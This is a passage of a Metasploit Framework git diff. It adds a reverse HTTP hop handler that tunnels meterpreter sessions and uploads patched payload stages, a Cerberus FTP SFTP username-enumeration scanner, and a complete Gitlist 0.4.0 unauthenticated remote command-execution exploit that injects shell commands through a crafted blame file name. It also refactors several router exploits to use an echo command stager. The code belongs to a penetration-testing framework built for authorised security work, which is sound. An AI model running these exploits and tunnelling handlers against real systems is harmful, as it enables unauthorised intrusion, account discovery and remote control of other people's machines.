resource.' ]), - ], self.class) - end - - def create_stager(exe) - Rex::Exploitation::CmdStagerTFTP.new(exe) - end - - def execute_cmdstager(opts = {}) - tftphost = datastore['TFTPHOST'] - tftphost ||= datastore['SRVHOST'] - tftphost ||= datastore['LHOST'] - - @exe_tag = datastore['TFTPRSRC'] - @exe_tag ||= Rex::Text.rand_text_alphanumeric(8) - - opts.merge!({ :tftphost => tftphost, :transid => @exe_tag }) - - super - end - - # - # Start the service and register the file - # - def execute_cmdstager_begin(opts) - start_service(@exe_tag, @exe) - end - - # - # Stop the service - # - def execute_cmdstager_end(opts) - stop_service - end - - def payload_exe - return nil if not @stager_instance - @stager_instance.payload_exe - end - -end - -end diff --git a/lib/msf/core/exploit/cmdstager_vbs.rb b/lib/msf/core/exploit/cmdstager_vbs.rb deleted file mode 100644 index 7e3d05bd71..0000000000 --- a/lib/msf/core/exploit/cmdstager_vbs.rb +++ /dev/null @@ -1,41 +0,0 @@ -# -*- coding: binary -*- - -require 'msf/core/exploit/cmdstager' - -module Msf - -### -# -# This mixin provides an interface for staging cmd to arbitrary payloads -# -### -module Exploit::CmdStagerVBS - - include Msf::Exploit::CmdStager - - def initialize(info = {}) - super - - register_advanced_options( - [ - OptString.new( 'DECODERSTUB', [ true, 'The VBS base64 file decoder stub to use.', - File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64")]), - ], self.class) - end - - def create_stager(exe) - Rex::Exploitation::CmdStagerVBS.new(exe) - end - - def execute_cmdstager(opts = {}) - opts.merge!({ :decoder => datastore['DECODERSTUB'] }) - super - end - - def generate_cmdstager(opts = {}, pl = nil) - opts.merge!({ :decoder => datastore['DECODERSTUB'] }) - super - end -end - -end diff --git a/lib/msf/core/exploit/cmdstager_vbs_adodb.rb b/lib/msf/core/exploit/cmdstager_vbs_adodb.rb deleted file mode 100644 index ddedf4343e..0000000000 --- a/lib/msf/core/exploit/cmdstager_vbs_adodb.rb +++ /dev/null @@ -1,41 +0,0 @@ -# -*- coding: binary -*- - -require 'msf/core/exploit/cmdstager' - -module Msf - -### -# -# This mixin provides an interface for staging cmd to arbitrary payloads -# -### -module Exploit::CmdStagerVBS::ADODB - - include Msf::Exploit::CmdStager - - def initialize(info = {}) - super - - register_advanced_options( - [ - OptString.new( 'DECODERSTUB', [ true, 'The VBS base64 file decoder stub to use.', - File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_adodb")]), - ], self.class) - end - - def create_stager(exe) - Rex::Exploitation::CmdStagerVBS.new(exe) - end - - def execute_cmdstager(opts = {}) - opts.merge!({ :decoder => datastore['DECODERSTUB'] }) - super - end - - def generate_cmdstager(opts = {}, pl = nil) - opts.merge!({ :decoder => datastore['DECODERSTUB'] }) - super - end -end - -end diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index bafcf4a660..9f2fdd9669 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -19,14 +19,6 @@ require 'msf/core/exploit/php_exe' # CmdStagers require 'msf/core/exploit/cmdstager' -require 'msf/core/exploit/cmdstager_vbs' -require 'msf/core/exploit/cmdstager_vbs_adodb' -require 'msf/core/exploit/cmdstager_debug_write' -require 'msf/core/exploit/cmdstager_debug_asm' -require 'msf/core/exploit/cmdstager_tftp' -require 'msf/core/exploit/cmdstager_bourne' -require 'msf/core/exploit/cmdstager_echo' -require 'msf/core/exploit/cmdstager_printf' # Protocol require 'msf/core/exploit/tcp' diff --git a/lib/msf/core/handler/reverse_hop_http.rb b/lib/msf/core/handler/reverse_hop_http.rb new file mode 100644 index 0000000000..96478245cc --- /dev/null +++ b/lib/msf/core/handler/reverse_hop_http.rb @@ -0,0 +1,305 @@ +# -*- coding: binary -*- +require 'rex/io/stream_abstraction' +require 'rex/sync/ref' +require 'msf/core/handler/reverse_http' +require 'uri' + +module Msf +module Handler + +### +# +# This handler implements the HTTP hop tunneling interface. +# It acts like an HTTP server to the meterpreter packet dispatcher but +# as an HTTP client to actually send and receive the data from the hop. +# +### +module ReverseHopHttp + + include Msf::Handler::ReverseHttp + + # + # Magic bytes to know we are talking to a valid hop + # + MAGIC = 'TzGq' + + # hop_handlers is a class-level instance variable + class << self; attr_accessor :hop_handlers end + attr_accessor :monitor_thread # :nodoc: + attr_accessor :handlers # :nodoc: + attr_accessor :closed_handlers # :nodoc: + attr_accessor :mclient # :nodoc: + attr_accessor :current_url # :nodoc: + attr_accessor :control # :nodoc: + attr_accessor :refs # :nodoc: + attr_accessor :lock # :nodoc: + + # + # Keeps track of what hops have active handlers + # + @hop_handlers = {} + + # + # Returns the string representation of the handler type + # + def self.handler_type + return "reverse_hop_http" + end + + # + # Returns the connection-described general handler type, in this case + # 'tunnel'. + # + def self.general_handler_type + "tunnel" + end + + # + # Sets up a handler. Doesn't do much since it's all in start_handler. + # + def setup_handler + self.handlers = {} + self.closed_handlers = {} + self.lock = Mutex.new + end + + # + # Starts the handler along with a monitoring thread to handle data transfer + # + def start_handler + # Our HTTP client and URL for talking to the hop + uri = URI(full_uri) + self.control = "#{uri.request_uri}control" + self.mclient = Rex::Proto::Http::Client.new( + uri.host, + uri.port, + { + 'Msf' => framework + } + ) + @running = true # So we know we can stop it + # If someone is already monitoring this hop, bump the refcount instead of starting a new thread + if ReverseHopHttp.hop_handlers.has_key?(full_uri) + ReverseHopHttp.hop_handlers[full_uri].refs += 1 + return + end + + # Sometimes you just have to do everything yourself. + # Declare ownership of this hop and spawn a thread to monitor it. + self.refs = 1 + ReverseHopHttp.hop_handlers[full_uri] = self + self.monitor_thread = Rex::ThreadFactory.spawn('ReverseHopHTTP', false, uri, + self) do |uri, hop_http| + hop_http.send_new_stage # send stage to hop + delay = 1 # poll delay + # Continue to loop as long as at least one handler or one session is depending on us + until hop_http.refs < 1 && hop_http.handlers.empty? + sleep delay + delay = delay + 1 if delay < 10 # slow down if we're not getting anything + crequest = hop_http.mclient.request_raw({'method' => 'GET', 'uri' => control}) + res = hop_http.mclient.send_recv(crequest) # send poll to the hop + next if res.nil? + if res.error + print_error(res.error) + next + end + + # validate responses, handle each message down + received = res.body + until received.length < 12 || received.slice!(0, MAGIC.length) != MAGIC + + # good response + delay = 0 # we're talking, speed up + urlen = received.slice!(0,4).unpack('V')[0] + urlpath = received.slice!(0,urlen) + datalen = received.slice!(0,4).unpack('V')[0] + + # do not want handlers to change while we dispatch this + hop_http.lock.lock + #received now starts with the binary contents of the message + if hop_http.handlers.include? urlpath + pack = Rex::Proto::Http::Packet.new + pack.body = received.slice!(0,datalen) + hop_http.current_url = urlpath + hop_http.handlers[urlpath].call(hop_http, pack) + hop_http.lock.unlock + elsif !closed_handlers.include? urlpath + hop_http.lock.unlock + #New session! + conn_id = urlpath.gsub("/","") + # Short-circuit the payload's handle_connection processing for create_session + # We are the dispatcher since we need to handle the comms to the hop + create_session(hop_http, { + :passive_dispatcher => self, + :conn_id => conn_id, + :url => uri.to_s + conn_id + "/\x00", + :expiration => datastore['SessionExpirationTimeout'].to_i, + :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, + :ssl => false, + }) + # send new stage to hop so next inbound session will get a unique ID. + hop_http.send_new_stage + else + hop_http.lock.unlock + end + end + end + hop_http.monitor_thread = nil #make sure we're out + ReverseHopHttp.hop_handlers.delete(full_uri) + end + end + + # + # Stops the handler and monitoring thread + # + def stop_handler + # stop_handler is called like 3 times, don't decrement refcount unless we're still running + if @running + ReverseHopHttp.hop_handlers[full_uri].refs -= 1 + @running = false + end + end + + # + # Adds a resource. (handler for a session) + # + def add_resource(res, opts={}) + self.handlers[res] = opts['Proc'] + start_handler if monitor_thread.nil? + end + + # + # Removes a resource. + # + def remove_resource(res) + lock.lock + handlers.delete(res) + closed_handlers[res] = true + lock.unlock + end + + # + # Implemented for compatibility reasons, does nothing + # + def close_client(cli) + end + + # + # Sends data to hop + # + def send_response(resp) + if not resp.body.empty? + crequest = mclient.request_raw( + 'method' => 'POST', + 'uri' => control, + 'data' => resp.body, + 'headers' => {'X-urlfrag' => current_url} + ) + # if receiving POST data, hop does not send back data, so we can stop here + mclient.send_recv(crequest) + end + end + + # + # Return the URI of the hop point. + # + def full_uri + uri = datastore['HOPURL'] + return uri if uri.end_with?('/') + return "#{uri}/" if uri.end_with?('?') + "#{uri}?/" + end + + # + # Returns a string representation of the local hop + # + def localinfo + "Hop client" + end + + # + # Returns the URL of the remote hop end + # + def peerinfo + uri = URI(full_uri) + "#{uri.host}:#{uri.port}" + end + + # + # Initializes the Hop HTTP tunneling handler. + # + def initialize(info = {}) + super + + register_options( + [ + OptString.new('HOPURL', [ true, "The full URL of the hop script, e.g. http://a.b/hop.php" ]) + ], Msf::Handler::ReverseHopHttp) + + end + + # + # Generates and sends a stage up to the hop point to be ready for the next client + # + def send_new_stage + conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16) + url = full_uri + conn_id + "/\x00" + + print_status("Preparing stage for next session #{conn_id}") + blob = stage_payload + + # Replace the user agent string with our option + i = blob.index("METERPRETER_UA\x00") + if i + str = datastore['MeterpreterUserAgent'][0,255] + "\x00" + blob[i, str.length] = str + end + + # Replace the transport string first (TRANSPORT_SOCKET_SSL) + i = blob.index("METERPRETER_TRANSPORT_SSL") + if i + str = "METERPRETER_TRANSPORT_HTTP#{ssl? ? "S" : ""}\x00" + blob[i, str.length] = str + end + + conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16) + i = blob.index("https://" + ("X" * 256)) + if i + url = full_uri + conn_id + "/\x00" + blob[i, url.length] = url + end + print_status("Patched URL at offset #{i}...") + + i = blob.index([0xb64be661].pack("V")) + if i + str = [ datastore['SessionExpirationTimeout'] ].pack("V") + blob[i, str.length] = str + end + + i = blob.index([0xaf79257f].pack("V")) + if i + str = [ datastore['SessionCommunicationTimeout'] ].pack("V") + blob[i, str.length] = str + end + + blob = encode_stage(blob) + + #send up + crequest = mclient.request_raw( + 'method' => 'POST', + 'uri' => control, + 'data' => blob, + 'headers' => {'X-init' => 'true'} + ) + res = mclient.send_recv(crequest) + print_status("Uploaded stage to hop #{full_uri}") + print_error(res.error) if !res.nil? && res.error + + #return conn info + [conn_id, url] + end + +end + +end +end diff --git a/lib/rex/exploitation/cmdstager/base.rb b/lib/rex/exploitation/cmdstager/base.rb index 18961c518d..0e966113ad 100644 --- a/lib/rex/exploitation/cmdstager/base.rb +++ b/lib/rex/exploitation/cmdstager/base.rb @@ -172,6 +172,19 @@ class CmdStagerBase nil end + # Should be overriden if the cmd stager needs to setup anything + # before it's executed + def setup(mod = nil) + + end + + # + # Should be overriden if the cmd stager needs to do any clenaup + # + def teardown(mod = nil) + + end + end end end diff --git a/lib/rex/exploitation/cmdstager/tftp.rb b/lib/rex/exploitation/cmdstager/tftp.rb index 60240d638e..6fbb84829c 100644 --- a/lib/rex/exploitation/cmdstager/tftp.rb +++ b/lib/rex/exploitation/cmdstager/tftp.rb @@ -27,10 +27,19 @@ class CmdStagerTFTP < CmdStagerBase def initialize(exe) super - @payload_exe = Rex::Text.rand_text_alpha(8) + ".exe" end + def setup(mod) + tftp = Rex::Proto::TFTP::Server.new + tftp.register_file(Rex::Text.rand_text_alphanumeric(8), exe) + tftp.start + mod.add_socket(tftp) # Hating myself for doing it... but it's just a first demo + end + + def teardown(mod = nil) + tftp.stop + end # # We override compress commands just to stick in a few extra commands @@ -54,8 +63,9 @@ class CmdStagerTFTP < CmdStagerBase # NOTE: We don't use a concatenation operator here since we only have a couple commands. # There really isn't any need to combine them. Also, the ms01_026 exploit depends on # the start command being issued separately so that it can ignore it :) - + attr_reader :exe attr_reader :payload_exe + attr_accessor :tftp end end end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb b/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb index 510bd24330..41fab4d12b 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb @@ -148,7 +148,7 @@ TLV_TYPE_IMAGE_FILE = TLV_META_TYPE_STRING | 2400 TLV_TYPE_IMAGE_FILE_PATH = TLV_META_TYPE_STRING | 2401 TLV_TYPE_PROCEDURE_NAME = TLV_META_TYPE_STRING | 2402 TLV_TYPE_PROCEDURE_ADDRESS = TLV_META_TYPE_QWORD | 2403 -TLV_TYPE_IMAGE_BASE = TLV_META_TYPE_UINT | 2404 +TLV_TYPE_IMAGE_BASE = TLV_META_TYPE_QWORD | 2404 TLV_TYPE_IMAGE_GROUP = TLV_META_TYPE_GROUP | 2405 TLV_TYPE_IMAGE_NAME = TLV_META_TYPE_STRING | 2406 diff --git a/modules/auxiliary/scanner/http/jenkins_enum.rb b/modules/auxiliary/scanner/http/jenkins_enum.rb index 5f5b2ebbe7..d3dcc68fc1 100644 --- a/modules/auxiliary/scanner/http/jenkins_enum.rb +++ b/modules/auxiliary/scanner/http/jenkins_enum.rb @@ -53,7 +53,7 @@ class Metasploit3 < Msf::Auxiliary end version = res.headers['X-Jenkins'] - vprint_status("#{peer} - Jenkins Version - #{version}") + print_status("#{peer} - Jenkins Version - #{version}") report_service( :host => rhost, :port => rport, @@ -120,17 +120,17 @@ class Metasploit3 < Msf::Auxiliary ) end when 403 - vprint_status("#{peer} - #{uri_path} restricted (403)") + print_status("#{peer} - #{uri_path} restricted (403)") when 401 - vprint_status("#{peer} - #{uri_path} requires authentication (401): #{res.headers['WWW-Authenticate']}") + print_status("#{peer} - #{uri_path} requires authentication (401): #{res.headers['WWW-Authenticate']}") when 404 - vprint_status("#{peer} - #{uri_path} not found (404)") + print_status("#{peer} - #{uri_path} not found (404)") when 301 - vprint_status("#{peer} - #{uri_path} is redirected (#{res.code}) to #{res.headers['Location']} (not following)") + print_status("#{peer} - #{uri_path} is redirected (#{res.code}) to #{res.headers['Location']} (not following)") when 302 - vprint_status("#{peer} - #{uri_path} is redirected (#{res.code}) to #{res.headers['Location']} (not following)") + print_status("#{peer} - #{uri_path} is redirected (#{res.code}) to #{res.headers['Location']} (not following)") else - vprint_status("#{peer} - #{uri_path} Don't know how to handle response code #{res.code}") + print_status("#{peer} - #{uri_path} Don't know how to handle response code #{res.code}") end end diff --git a/modules/auxiliary/scanner/ipmi/ipmi_cipher_zero.rb b/modules/auxiliary/scanner/ipmi/ipmi_cipher_zero.rb index 30e78c1a37..ea8f0e7cd5 100644 --- a/modules/auxiliary/scanner/ipmi/ipmi_cipher_zero.rb +++ b/modules/auxiliary/scanner/ipmi/ipmi_cipher_zero.rb @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Auxiliary def initialize super( - 'Name' => 'IPMI 2.0 RAKP Cipher Zero Authentication Bypass Scanner', + 'Name' => 'IPMI 2.0 Cipher Zero Authentication Bypass Scanner', 'Description' => %q| This module identifies IPMI 2.0 compatible systems that are vulnerable to an authentication bypass vulnerability through the use of cipher diff --git a/modules/auxiliary/scanner/oracle/tnslsnr_version.rb b/modules/auxiliary/scanner/oracle/tnslsnr_version.rb index 1d503cb78e..06d9e50251 100644 --- a/modules/auxiliary/scanner/oracle/tnslsnr_version.rb +++ b/modules/auxiliary/scanner/oracle/tnslsnr_version.rb @@ -41,15 +41,22 @@ class Metasploit3 < Msf::Auxiliary data = sock.get_once - if ( data and data =~ /\\*.TNSLSNR for (.*)/ ) + if ( data && data =~ /\\*.TNSLSNR for (.*)/ ) ora_version = data.match(/\\*.TNSLSNR for (.*)/)[1] report_service( - :host => ip, - :port => datastore['RPORT'], - :name => "oracle", - :info => ora_version + :host => ip, + :port => datastore['RPORT'], + :name => "oracle", + :info => ora_version ) print_good("#{ip}:#{datastore['RPORT']} Oracle - Version: " + ora_version) + elsif ( data && data =~ /\(ERR=(\d+)\)/ ) + case $1.to_i + when 1189 + print_error( "#{ip}:#{datastore['RPORT']} Oracle - Version: Unknown - Error code #{$1} - The listener could not authenticate the user") + else + print_error( "#{ip}:#{datastore['RPORT']} Oracle - Version: Unknown - Error code #{$1}") + end else print_error( "#{ip}:#{datastore['RPORT']} Oracle - Version: Unknown") end diff --git a/modules/auxiliary/scanner/ssh/cerberus_sftp_enumusers.rb b/modules/auxiliary/scanner/ssh/cerberus_sftp_enumusers.rb new file mode 100644 index 0000000000..d4cb8f2a09 --- /dev/null +++ b/modules/auxiliary/scanner/ssh/cerberus_sftp_enumusers.rb @@ -0,0 +1,213 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'net/ssh' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Cerberus FTP Server SFTP Username Enumeration', + 'Description' => %q{ + This module uses a dictionary to brute force valid usernames from + Cerberus FTP server via SFTP. This issue affects all versions of + the software older than 6.0.9.0 or 7.0.0.2 and is caused by a discrepancy + in the way the SSH service handles failed logins for valid and invalid + users. This issue was discovered by Steve Embling. + }, + 'Author' => [ + 'Steve Embling', # Discovery + 'Matt Byrne ' # Metasploit module + ], + 'References' => + [ + [ 'URL', 'http://xforce.iss.net/xforce/xfdb/93546' ], + [ 'BID', '67707'] + ], + 'License' => MSF_LICENSE, + 'DisclosureDate' => 'May 27 2014' + )) + + register_options( + [ + Opt::RPORT(22), + OptPath.new( + 'USER_FILE', + [true, 'Files containing usernames, one per line', nil]) + ], self.class + ) + + register_advanced_options( + [ + OptInt.new( + 'RETRY_NUM', + [true , 'The number of attempts to connect to a SSH server for each user', 3]), + OptInt.new( + 'SSH_TIMEOUT', + [true, 'Specify the maximum time to negotiate a SSH session', 10]), + OptBool.new( + 'SSH_DEBUG', + [true, 'Enable SSH debugging output (Extreme verbosity!)', false]) + ] + ) + end + + def rport + datastore['RPORT'] + end + + def retry_num + datastore['RETRY_NUM'] + end + + def check_vulnerable(ip) + options = { + :port => rport, + :auth_methods => ['password', 'keyboard-interactive'], + :msframework => framework, + :msfmodule => self, + :disable_agent => true, + :config => false, + :proxies => datastore['Proxies'] + } + + begin + transport = Net::SSH::Transport::Session.new(ip, options) + rescue Rex::ConnectionError, Rex::AddressInUse + return :connection_error + end + + auth = Net::SSH::Authentication::Session.new(transport, options) + auth.authenticate("ssh-connection", Rex::Text.rand_text_alphanumeric(8), Rex::Text.rand_text_alphanumeric(8)) + auth_method = auth.allowed_auth_methods.join('|') + print_status "#{peer(ip)} Server Version: #{auth.transport.server_version.version}" + report_service( + :host => ip, + :port => rport, + :name => "ssh", + :proto => "tcp", + :info => auth.transport.server_version.version + ) + + if auth_method.empty? + :vulnerable + else + :safe + end + end + + def check_user(ip, user, port) + pass = Rex::Text.rand_text_alphanumeric(8) + + opt_hash = { + :auth_methods => ['password', 'keyboard-interactive'], + :msframework => framework, + :msfmodule => self, + :port => port, + :disable_agent => true, + :config => false, + :proxies => datastore['Proxies'] + } + + opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] + transport = Net::SSH::Transport::Session.new(ip, opt_hash) + auth = Net::SSH::Authentication::Session.new(transport, opt_hash) + + begin + ::Timeout.timeout(datastore['SSH_TIMEOUT']) do + auth.authenticate("ssh-connection", user, pass) + auth_method = auth.allowed_auth_methods.join('|') + if auth_method != '' + :success + else + :fail + end + end + rescue Rex::ConnectionError, Rex::AddressInUse + return :connection_error + rescue Net::SSH::Disconnect, ::EOFError + return :success + rescue ::Timeout::Error + return :connection_error + end + end + + def do_report(ip, user, port) + report_auth_info( + :host => ip, + :port => rport, + :sname => 'ssh', + :user => user, + :active => true + ) + end + + def peer(rhost=nil) + "#{rhost}:#{rport} SSH -" + end + + def user_list + users = nil + if File.readable? datastore['USER_FILE'] + users = File.new(datastore['USER_FILE']).read.split + users.each {|u| u.downcase!} + users.uniq! + else + raise ArgumentError, "Cannot read file #{datastore['USER_FILE']}" + end + + users + end + + def attempt_user(user, ip) + attempt_num = 0 + ret = nil + + while (attempt_num <= retry_num) && (ret.nil? || ret == :connection_error) + if attempt_num > 0 + Rex.sleep(2 ** attempt_num) + print_debug "#{peer(ip)} Retrying '#{user}' due to connection error" + end + + ret = check_user(ip, user, rport) + attempt_num += 1 + end + + ret + end + + def show_result(attempt_result, user, ip) + case attempt_result + when :success + print_good "#{peer(ip)} User '#{user}' found" + do_report(ip, user, rport) + when :connection_error + print_error "#{peer(ip)} User '#{user}' could not connect" + when :fail + vprint_status "#{peer(ip)} User '#{user}' not found" + end + end + + def run_host(ip) + print_status "#{peer(ip)} Checking for vulnerability" + case check_vulnerable(ip) + when :vulnerable + print_good "#{peer(ip)} Vulnerable" + print_status "#{peer(ip)} Starting scan" + user_list.each do |user| + show_result(attempt_user(user, ip), user, ip) + end + when :safe + print_error "#{peer(ip)} Not vulnerable" + when :connection_error + print_error "#{peer(ip)} Connection failed" + end + end +end + diff --git a/modules/exploits/linux/http/dlink_authentication_cgi_bof.rb b/modules/exploits/linux/http/dlink_authentication_cgi_bof.rb index d29a6f9682..4193a772b4 100644 --- a/modules/exploits/linux/http/dlink_authentication_cgi_bof.rb +++ b/modules/exploits/linux/http/dlink_authentication_cgi_bof.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStagerEcho + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -51,8 +51,9 @@ class Metasploit3 < Msf::Exploit::Remote } ] ], - 'DisclosureDate' => 'Feb 08 2013', - 'DefaultTarget' => 0)) + 'DisclosureDate' => 'Feb 08 2013', + 'DefaultTarget' => 0)) + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') end def check @@ -81,6 +82,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Exploiting...") execute_cmdstager( + :flavor => :echo, :linemax => 200, :concat_operator => " && " ) diff --git a/modules/exploits/linux/http/dlink_hedwig_cgi_bof.rb b/modules/exploits/linux/http/dlink_hedwig_cgi_bof.rb index de71f2989c..9752d22b0c 100644 --- a/modules/exploits/linux/http/dlink_hedwig_cgi_bof.rb +++ b/modules/exploits/linux/http/dlink_hedwig_cgi_bof.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStagerEcho + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -50,8 +50,9 @@ class Metasploit3 < Msf::Exploit::Remote } ] ], - 'DisclosureDate' => 'Feb 08 2013', - 'DefaultTarget' => 0)) + 'DisclosureDate' => 'Feb 08 2013', + 'DefaultTarget' => 0)) + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') end def check @@ -80,6 +81,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Exploiting...") execute_cmdstager( + :flavor => :echo, :linemax => 200, :concat_operator => " && " ) diff --git a/modules/exploits/linux/http/fritzbox_echo_exec.rb b/modules/exploits/linux/http/fritzbox_echo_exec.rb index 6990a9491a..d4260d1b02 100644 --- a/modules/exploits/linux/http/fritzbox_echo_exec.rb +++ b/modules/exploits/linux/http/fritzbox_echo_exec.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStagerEcho + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -59,8 +59,9 @@ class Metasploit3 < Msf::Exploit::Remote } ], ], - 'DefaultTarget' => 0 + 'DefaultTarget' => 0 )) + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') end def check @@ -109,6 +110,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Exploiting...") execute_cmdstager( + :flavor => :echo, :linemax => 92 ) end diff --git a/modules/exploits/linux/http/gitlist_exec.rb b/modules/exploits/linux/http/gitlist_exec.rb new file mode 100644 index 0000000000..595e13014e --- /dev/null +++ b/modules/exploits/linux/http/gitlist_exec.rb @@ -0,0 +1,119 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Gitlist Unauthenticated Remote Command Execution', + 'Description' => %q{ + This module exploits an unauthenticated remote command execution vulnerability + in version 0.4.0 of Gitlist. The problem exists in the handling of an specially + crafted file name when trying to blame it. + }, + 'License' => MSF_LICENSE, + 'Privileged' => false, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Author' => + [ + 'drone', #discovery/poc by @dronesec + 'Brandon Perry ' #Metasploit module + ], + 'References' => + [ + ['CVE', '2014-4511'], + ['EDB', '33929'], + ['URL', 'http://hatriot.github.io/blog/2014/06/29/gitlist-rce/'] + ], + 'Payload' => + { + 'Space' => 8192, # max length of GET request really + 'BadChars' => "&\x20", + 'DisableNops' => true, + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic telnet python perl bash gawk netcat netcat-e ruby php openssl', + } + }, + 'Targets' => + [ + ['Gitlist 0.4.0', { }] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jun 30 2014' + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/']) + ], self.class) + end + + def check + repo = get_repo + + if repo.nil? + return Exploit::CheckCode::Unknown + end + + chk = Rex::Text.encode_base64(rand_text_alpha(rand(32)+5)) + + res = send_command(repo, "echo${IFS}" + chk + "|base64${IFS}--decode") + + if res && res.body + if res.body.include?(Rex::Text.decode_base64(chk)) + return Exploit::CheckCode::Vulnerable + elsif res.body.to_s =~ /sh.*not found/ + return Exploit::CheckCode::Vulnerable + end + end + + Exploit::CheckCode::Safe + end + + def exploit + repo = get_repo + if repo.nil? + fail_with(Failure::Unknown, "#{peer} - Failed to retrieve the remote repository") + end + send_command(repo, payload.encoded) + end + + def get_repo + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, "/") + }) + + unless res + return nil + end + + first_repo = /href="\/gitlist\/(.*)\/"/.match(res.body) + + unless first_repo && first_repo.length >= 2 + return nil + end + + repo_name = first_repo[1] + + repo_name + end + + def send_command(repo, cmd) + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, repo, 'blame', 'master', '""`' + cmd + '`') + }, 1) + + res + end + +end diff --git a/modules/exploits/linux/http/linksys_themoon_exec.rb b/modules/exploits/linux/http/linksys_themoon_exec.rb index 0e7f7bd091..ed8aaad803 100644 --- a/modules/exploits/linux/http/linksys_themoon_exec.rb +++ b/modules/exploits/linux/http/linksys_themoon_exec.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStagerEcho + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -62,8 +62,9 @@ class Metasploit3 < Msf::Exploit::Remote } ], ], - 'DefaultTarget' => 0 + 'DefaultTarget' => 0 )) + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') end @@ -115,7 +116,7 @@ class Metasploit3 < Msf::Exploit::Remote end print_status("#{peer} - Exploiting...") - execute_cmdstager + execute_cmdstager({:flavor => :echo}) end end diff --git a/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb b/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb index 26d1c3c07b..08717e1d2b 100644 --- a/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb +++ b/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStagerEcho + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -48,7 +48,7 @@ class Metasploit3 < Msf::Exploit::Remote OptAddress.new('RHOST', [true, 'The address of the router', '192.168.1.1']), OptInt.new('TIMEOUT', [false, 'The timeout to use in every request', 20]) ], self.class) - + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') end def check @@ -71,7 +71,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit test_login - execute_cmdstager + execute_cmdstager({:flavor => :echo}) end # Sends an HTTP request with authorization header to the router diff --git a/modules/exploits/linux/misc/sercomm_exec.rb b/modules/exploits/linux/misc/sercomm_exec.rb index 8625e5baff..d8e32cb69e 100644 --- a/modules/exploits/linux/misc/sercomm_exec.rb +++ b/modules/exploits/linux/misc/sercomm_exec.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp - include Msf::Exploit::CmdStagerEcho + include Msf::Exploit::CmdStager def initialize(info={}) super(update_info(info, @@ -133,7 +133,7 @@ class Metasploit3 < Msf::Exploit::Remote OptBool.new('NOARGS', [false, "Don't use the echo -en parameters", false ]), OptEnum.new('ENCODING', [false, "Payload encoding to use", 'hex', ['hex', 'octal']]), ], self.class) - + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') end def check @@ -168,7 +168,8 @@ class Metasploit3 < Msf::Exploit::Remote execute_cmdstager( :noargs => @no_args, :temp => @upload_path, - :enc_format => @encoding_format + :enc_format => @encoding_format, + :flavor => :echo ) end diff --git a/modules/exploits/multi/http/hp_sitescope_issuesiebelcmd.rb b/modules/exploits/multi/http/hp_sitescope_issuesiebelcmd.rb index 